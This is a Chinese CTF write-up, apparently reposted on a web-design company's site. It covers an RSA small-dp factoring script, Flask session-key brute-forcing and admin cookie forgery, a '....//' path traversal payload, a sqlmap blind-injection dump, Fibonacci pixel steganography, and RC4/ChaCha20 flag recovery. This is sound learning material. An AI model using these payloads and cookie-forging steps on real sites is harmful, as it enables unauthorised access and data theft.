宜春市网站建设_网站建设公司_门户网站_seo优化
2026/1/8 1:09:36 网站建设 项目流程

一、Crypto

1、bolt_fast

题目描述:Everyone keeps telling me to worry about Wiener's attack, but they just don't understand optimization. Don't bother checking my key size; it's huge. You'll never catch me! Hahahaha!

我们拿到两个文件output.txt

Need for Speed Since Wiener said calculating d_p and d_q is fast, I decided to make it even faster 'cause I am smarter. N = 22061149554706951873851465765917042279909309233484615798640186468876401527123242297915465375459511054772541825273007749026648641620485458471351811298443479262277231839408201654282927999029324652496830649919637863202844794784443579336735415046336390091671003022244732389217910334465895328371360158510046347031294125509649474722535171601096998732929497780870057433634214228116293166963101489644680801538837005001377764416442380530464289453201654394144682138927826247301956954884930328147978637795259346321547054237005318172528896865428457293207571804464061990459958593520373578234234490804585522859401957032395007142007 e = 9648003423571638489624579625383119603270189664714210175737275695548206153582516635644990660189908448510652756058045483763071850222529184219333877863638216254054444012130393864033392161426815671725858723096432660521038315432183692553568344247916320931122090436770154203149432285380142051084178668290839858171 c = 18817014323644102879407569381912044887671193778381872592373573382139976320220125847317309926920208859012582031032930373240219755720268543444729983316326640661427616841700761054678137741340093140586895094016730198447552611014038632666821117758006775144046000049080406858764900680265384743839472653817299383323869146152251839342236631780818396088131196202767951301023089053662813175083035336272981588533957561537975684034210166185396046071368061264321959248372783262788158418696375783427276741258526067168910326630496339287237940444426277757582174810909733937257258767407189452212391936958267819666424558678534741723930

chall.py

from Crypto.Util.number import getPrime, inverse, bytes_to_long def flash_key(): while True: p = getPrime(1024) q = getPrime(1024) N = p * q #you can't even use weiner's attack now hahaha dp_smart= getPrime(16) try: e = inverse(dp_smart, p-1) return N, e, dp_smart except ValueError: continue N, e, _= flash_key() flag = b"flag{REDACTED}" m = bytes_to_long(flag) c = pow(m, e, N) print("Need for Speed") print("Since Wiener said calculating d_p and d_q is fast, I decided to make it even faster 'cause I am smarter.") print(f"N = {N}") print(f"e = {e}") print(f"c = {c}")

提供了生成RSA密钥的Python代码,关键点:

  1. N= p * q,其中p和q是1024位素数

  2. dp_smart是一个16位的素数(取值范围2-65535)

  3. edp_smart在模(p-1)下的逆元,即满足:

    e⋅dp_smart≡1 (mod p−1)e⋅dp_smart≡1 (mod p−1)
  4. 实际输出中,公钥为(N, e)dp_smart被丢弃

数学原理:

在RSA-CRT(中国剩余定理)优化中:

  • dp = d mod (p-1),其中d是私钥

  • 通常满足:e⋅dp≡1 (mod p−1)e⋅dp≡1 (mod p−1)

本题中,dp_smart就是dp,且非常小(16位素数)。
已知关系:

e⋅dp≡1 (mod p−1)e⋅dp≡1 (mod p−1)

这意味着存在整数k使得:

e⋅dp=1+k(p−1)e⋅dp=1+k(p−1)

解密脚本:

from Crypto.Util.number import long_to_bytes, GCD import sympy N = 22061149554706951873851465765917042279909309233484615798640186468876401527123242297915465375459511054772541825273007749026648641620485458471351811298443479262277231839408201654282927999029324652496830649919637863202844794784443579336735415046336390091671003022244732389217910334465895328371360158510046347031294125509649474722535171601096998732929497780870057433634214228116293166963101489644680801538837005001377764416442380530464289453201654394144682138927826247301956954884930328147978637795259346321547054237005318172528896865428457293207571804464061990459958593520373578234234490804585522859401957032395007142007 e = 9648003423571638489624579625383119603270189664714210175737275695548206153582516635644990660189908448510652756058045483763071850222529184219333877863638216254054444012130393864033392161426815671725858723096432660521038315432183692553568344247916320931122090436770154203149432285380142051084178668290839858171 c = 18817014323644102879407569381912044887671193778381872592373573382139976320220125847317309926920208859012582031032930373240219755720268543444729983316326640661427616841700761054678137741340093140586895094016730198447552611014038632666821117758006775144046000049080406858764900680265384743839472653817299383323869146152251839342236631780818396088131196202767951301023089053662813175083035336272981588533957561537975684034210166185396046071368061264321959248372783262788158418696375783427276741258526067168910326630496339287237940444426277757582174810909733937257258767407189452212391936958267819666424558678534741723930 def small_dp_attack(N, e, dp_limit=65536): for dp_candidate in range(2, dp_limit): if sympy.isprime(dp_candidate): try: # 计算 2^(e*dp_candidate) mod N val = pow(2, e*dp_candidate, N) p = GCD(val - 2, N) if 1 < p < N and N % p == 0: return dp_candidate, p, N//p except: continue return None print("Running small dp attack...") res = small_dp_attack(N, e) if res: dp, p, q = res print("Found dp =", dp) print("p =", p) print("q =", q) phi = (p-1)*(q-1) d = pow(e, -1, phi) m = pow(c, d, N) print("Flag:", long_to_bytes(m).decode())

二、WEB

1、Flask of Cookies

题目描述:A tiny Flask app that looks harmless… or does it? Some things aren’t quite what they seem, especially the parts you can’t see. Take a closer look — maybe there’s a way to convince the system you’re someone else.

我们可以拿到网站的源码,关键就是分析源码中app.py

from flask import Flask, render_template, session from dotenv import load_dotenv import os load_dotenv() app = Flask(__name__) app.secret_key = os.environ["SECRET_KEY"] # 密钥从环境变量读取 flag_value = open("./flag").read().rstrip() def derived_level(sess, secret_key): """判断用户权限级别""" user = sess.get("user", "") role = sess.get("role", "") if role == "admin" and user == secret_key[::-1]: # 关键条件 return "superadmin" return "user" @app.route("/") def index(): """首页,设置默认session""" if "user" not in session: session["user"] = "guest" session["role"] = "user" return render_template("index.html") @app.route("/admin") def admin(): """管理员页面,需要superadmin权限""" level = derived_level(session, app.secret_key) if level == "superadmin": return render_template("admin.html", flag=flag_value) return "Access denied.\n", 403

想要拿到flag需要满足:role== "admin" user== secret_key[::-1](密钥的反转字符串)

解题步骤:

步骤1:信息收集

1、获取初始 session cookie:

eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTRUzw.-HK1yh3vXd7jjNJrtFGilSgCp9w

2、解码session 数据:

# 解码第一部分(base64) import base64 import json cookie = "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTRUzw.-HK1yh3vXd7jjNJrtFGilSgCp9w" parts = cookie.split('.') data = base64.urlsafe_b64decode(parts[0] + '=' * (-len(parts[0]) % 4)) # 得到: {"role":"user","user":"guest"}

步骤2:分析攻击面

  • Flask session 存储在客户端,使用签名防止篡改

  • 需要获取SECRET_KEY才能伪造有效 session

  • 密钥强度未知,可能可爆破

步骤3:尝试密钥爆破

flask-unsign --unsign \ --cookie "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTRUzw.-HK1yh3vXd7jjNJrtFGilSgCp9w" \ --wordlist /usr/share/wordlists/rockyou.txt \ --no-literal-eval # 输出结果: # [*] Session decodes to: {'role': 'user', 'user': 'guest'} # [*] Starting brute-forcer with 8 threads.. # [+] Found secret key after 384 attempts # b'qwertyuiop'

步骤4:伪造管理员 session

1、计算需要的user值:

secret_key = "qwertyuiop" user_value = secret_key[::-1] # "poiuytrewq"

2、创建管理员session 数据:

{ "user": "poiuytrewq", "role": "admin" }

3、使用密钥签名生成 cookie:

flask-unsign --sign \ --cookie "{'user': 'poiuytrewq', 'role': 'admin'}" \ --secret 'qwertyuiop' # 输出:eyJ1c2VyIjoicG9pdXl0cmV3cSIsInJvbGUiOiJhZG1pbiJ9.aTReEg.5lgavEsZaF7GCAjYlLSng0GCtrk

步骤5:获取flag

# 使用伪造的 cookie 访问 /admin 路由 curl -H "Cookie: session=eyJ1c2VyIjoicG9pdXl0cmV3cSIsInJvbGUiOiJhZG1pbiJ9.aTReEg.5lgavEsZaF7GCAjYlLSng0GCtrk" \ http://localhost:8000/admin # 返回包含 flag 的页面

2、Image Gallery

题目描述:The gallery seems calm… but a secret lies behind the scenes.

同样会拿到源码,内容非常多,但是主要是源码审计分析一下server.js

app.get('/image', (req, res) => { let file = req.query.file || ''; file = file.split('../').join(''); // 不完整的过滤 const resolved = path.join(BASE_DIR, file); // 路径拼接 fs.readFile(resolved, (err, data) => { ... }); });

可以看到存在目录遍历漏洞,分析代码可知:

  • 只移除了../字符串

  • 没有处理其他路径遍历变体(如......//

  • path.join()会解析相对路径

绕过方法:

  1. ....//secret/flag.txt→ 移除../后变为..//secret/flag.txt

  2. ..//secret/flag.txt→ 保持不变,path.join()会解析为上级目录

payload:

?file=....//secret/flag.txt

3、No Sight Required

题目描述:We've built the most efficient user directory service - it only tells you what you need to know. No unnecessary data exposure, no verbose error messages, just clean yes/no answers. Some say less is more. We say less is secure.

解题步骤:

1、信息收集:

  • 访问网站发现一个用户搜索功能

  • 输入框预填充了SQL注入payload:1' or '1'='1 #

  • 参数名为id,使用GET方法提交到/search端点

2、漏洞识别:

  • 测试基础SQL注入payload时发现只返回"Invalid input"错误

  • 这表明可能是一个盲注场景,应用不返回查询数据,只返回不同状态

3、直接使用sqlmap即可

sqlmap -u "http://x.x.x.x/search?id=1" -T secret_flags --dump +----+--------------------------------------+ | id | flag | +----+--------------------------------------+ | 1 | flag{bl1nd_but_n0t_l0st_1n_th3_d4rk} | +----+--------------------------------------+

三、Forensics

1、Fractonacci

题目描述:Beautiful. Red. Fractonacci. What could this mean??

文件分析:

  • 给了一个challenge.png(6000×6000,RGBA,7.8 MB)。

  • binwalk检测到 PNG 数据后附加了一段固件头(JBOOT SCH2),可能用于干扰。

  • 尝试提取附加数据未发现明显 flag,推测 flag 可能隐藏在 PNG 图像本身。

关键词解析:

  • Fractonacci:明显是Fractal(分形)与Fibonacci(斐波那契数列)的组合词,提示要用斐波那契数列处理。

  • Beautiful:可能指“黄金比例”(φ),斐波那契数列相邻项比值趋近 φ。

  • Red:可能指 PNG 图像的红色通道(R 值)。

解题思路:

  1. 忽略附加数据:虽然文件尾部附加了数据,但题目分值不高,flag 很可能直接藏在图像像素中。

  2. 斐波那契索引法:用斐波那契数列的值作为像素坐标的索引(按行优先或列优先),从图像中提取数据。

  3. 红色通道提取:根据“Red”提示,只取每个像素的 R(红色)值。

  4. 转换为字符:将 R 值(0–255)视为 ASCII 码,转换成字符。

实施步骤:

  1. 使用 Python 的 PIL 库加载 PNG 图像。

  2. 生成斐波那契数列(F0=0, F1=1, F2=1, ...),直到索引超出图像总像素(6000×6000)。

  3. 对每个斐波那契数f,计算像素坐标:

    • x = f % width

    • y = f // width

  4. 取该像素的红色通道值r,将r转换成字符chr(r)

  5. 将字符按顺序拼接,观察结果。

完整脚本:

from PIL import Image img = Image.open('challenge.png') pix = img.load() w, h = img.size fib = [0, 1] while fib[-1] < w * h: fib.append(fib[-1] + fib[-2]) flag = '' for f in fib[:200]: # 只需前几十项即可 if f < w * h: x, y = f % w, f // w r, _, _, _ = pix[x, y] flag += chr(r) print(flag) # 输出包含 flag 的字符串

四、REV

1、To jmp or not jmp

题目描述:Another flag checker, eh? But the code is beyond my understanding. It makes my head spin! There's just too many jumps!

解题过程:

1、初步分析:

file challenge # 输出: ELF 64-bit LSB pie executable, x86-64, stripped ./challenge # 输出: Enter the flag: [输入] Wrong! Try again.

2、使用 Ghidra 反汇编:

  • 程序被控制流平坦化 (Control Flow Flattening)严重混淆

  • 存在大量条件跳转和无条件跳转

  • 主要函数FUN_001016a1结构复杂,难以直接分析

3、进行动态分析:

  • 定位关键字符串,发现输入缓冲区地址:0x5555555583a0

(gdb) break _ZNSi7getlineEPcl # C++ getline 函数 (gdb) run <<< "test"
  • 跟踪输入处理:

通过单步执行和断点,发现程序:

  1. 读取输入到0x5555555583a0

  2. 进行某种加密处理

  3. 比较处理结果

  • 定位加密数据,搜索内存中的常量数据,发现66字节的加密数据

(gdb) x/66bx 0x555555556040 8f 36 cf 7d 04 8e 35 ac 0f e8 3f 53 8b 87 ac 26 18 5b 13 c7 ff a6 1d 92 29 b7 62 af a9 b0 cf 74 d2 99 4e 55 47 a9 77 3b 67 28 cb 52 74 90 47 24 15 94 e1 4e 4d f2 57 ad 7f 5d 22 17 05 08 8b 2a ed f1
  • 定位密钥

(gdb) x/32bx 0x555555556020 21 61 31 20 61 26 0d 39 61 2b 0d 20 31 66 73 52 0f
  • 算法识别

通过分析代码逻辑和内存操作,识别出:

  • 算法: RC4 流加密

  • 密钥处理: 原始数据 XOR 0x52

  • 密钥:s3cr3t_k3y_rc4!(15字节)

  • 加密数据: 66字节

解密脚本:

def rc4_decrypt(ciphertext, key): S = list(range(256)) j = 0 # KSA for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] # PRGA & 解密 i = j = 0 plaintext = [] for char in ciphertext: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] plaintext.append(char ^ k) return bytes(plaintext) # 加密数据 encrypted_flag = [0x8f, 0x36, 0xcf, 0x7d, ...] # 66字节 # 密钥 key = b's3cr3t_k3y_rc4!' # 解密 flag = rc4_decrypt(encrypted_flag, key) print(flag.decode())

2、Where code

题目描述:That's it! I am done! I tried but cannot find any useful code! I am handing down this to you! Find the code and get the flag! Good luck!

解题过程:

1. 初步分析

  • 运行程序,提示输入 flag,验证正确性。

  • 使用strings查看字符串,发现 "Enter the flag:"、"Correct! You found the flag!"、"Wrong flag. Try again!",无直接 flag。

  • 使用objdump -d反汇编,发现大量 C++ 库函数调用和自定义函数。

2. 识别加密算法

  • 反汇编代码中出现常量0x617078650x3320646e0x79622d320x6b206574(对应字符串 "expand 32-byte k"),表明使用了ChaCha20流密码。

  • 观察到rol(循环左移)操作和类似 ChaCha20 quarter round 的函数,确认算法为 ChaCha20 或其变种。

3. 定位关键数据

  • 通过分析比较函数(地址0x5555555559a7),发现程序将输入加密后与硬编码密文比较。

  • 硬编码密文地址:0x555555556040(34 字节)

  • 密钥地址:0x555555556080(32 字节:00 01 02 ... 1f

  • Nonce 地址:0x5555555560a0(8 字节:00 00 00 00 00 00 00 4a

4. 动态调试获取密钥流

  • 输入 34 个 'A'(0x41),在加密后断点(0x55555555594d)获取加密结果:

63 0e 10 b2 01 5a 98 a0 6e 9f 66 2e f9 22 5c ac cd 52 5e c3 7c 6d 47 a3 3f 0e 8b ad df b2 8e 39 cb 3b
  • 硬编码密文:

44 23 30 94 3b 72 97 d0 70 b8 06 01 d1 3c 50 84 e2 22 40 ef 0d 02 28 cc 4f 10 ee 89 ad ac b6 37 ff 46

5、计算密钥流与 flag

  • 假设算法为流密码:密文 = 明文 XOR 密钥流

  • 对于输入 'A'(0x41),计算密钥流:密钥流 = 'A' XOR 加密结果

  • 用密钥流解密硬编码密文,得到:flag{iN1_f!ni_Min1_m0...1_$e3_yOu}

encrypted_input = bytes.fromhex("630e10b2015a98a06e9f662ef9225caccd525ec37c6d47a33f0e8baddfb28e39cb3b") expected_cipher = bytes.fromhex("442330943b7297d070b80601d13c5084e22240ef0d0228cc4f10ee89adacb637ff46") plain_input = b'A' * 34 keystream = bytes(a ^ b for a, b in zip(plain_input, encrypted_input)) flag = bytes(a ^ b for a, b in zip(keystream, expected_cipher)) print("Flag bytes:") for i, (k, ec, ei, f) in enumerate(zip(keystream, expected_cipher, encrypted_input, flag)): print(f"{i:2}: keystream={k:02x}, exp={ec:02x}, enc_in={ei:02x}, flag={f:02x} '{chr(f) if 32 <= f < 127 else '.'}'") print("\nFull flag (as string):", flag.decode('utf-8', errors='ignore')) print("Full flag (hex):", flag.hex())

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询